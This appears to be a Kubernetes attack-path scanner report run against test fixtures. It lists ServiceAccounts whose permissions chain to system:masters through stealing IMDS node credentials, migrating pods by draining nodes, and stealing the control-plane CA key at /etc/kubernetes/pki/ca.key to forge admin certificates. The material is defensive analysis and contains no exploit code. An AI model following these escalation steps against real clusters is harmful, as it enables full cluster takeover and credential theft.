ServiceAccount `foothold-decoy-sa` in namespace `foothold-exec` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/foothold-exec/foothold-reader → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `foothold-reader` in namespace `foothold-exec` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/foothold-fixtures/foothold-quiet → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `foothold-quiet` in namespace `foothold-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/gw-workloads/gw-web-sa → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `gw-web-sa` in namespace `gw-workloads` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/hookbackend-fixtures/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `hookbackend-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `imgswap-reader` in namespace `imgswap-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/ingress-only/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `ingress-only` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/ingress-only/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/lp-fixtures/sa-lp-narrow → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-lp-narrow` in namespace `lp-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/lp-fixtures/sa-lp-orphan → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-lp-orphan` in namespace `lp-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-lp-wildcard` in namespace `lp-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/netpol-imds/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `netpol-imds` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/netpol-imds/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/privesc-fixtures/sa-node-migrate → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-node-migrate` in namespace `privesc-fixtures` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-pv-hostpath` in namespace `pv-hostpath-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/rbac-fixtures/sa-wildcard → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via Migrate pods onto an attacker node → Control-plane PKI theft.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/secrets-bundle/cross-ns-reader → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `cross-ns-reader` in namespace `secrets-bundle` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/statusspoof-fixtures/default → the system:masters group score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `statusspoof-fixtures` reaches the system:masters group in 2 hops via Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/deepchain-tenant/deepchain-binder → the system:masters group score 8.0 4 hops View finding →

ServiceAccount `deepchain-binder` in namespace `deepchain-tenant` reaches the system:masters group in 4 hops via RoleBinding write access plus bind → Co-located ServiceAccount token theft → Migrate pods onto an attacker node → ….

  1. Step 1 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 4 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 4 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  4. Step 4 of 4 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/foothold-ops/foothold-named-execer → the system:masters group score 7.9 3 hops View finding →

ServiceAccount `foothold-named-execer` in namespace `foothold-ops` reaches the system:masters group in 3 hops via Pod exec → container takeover → Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

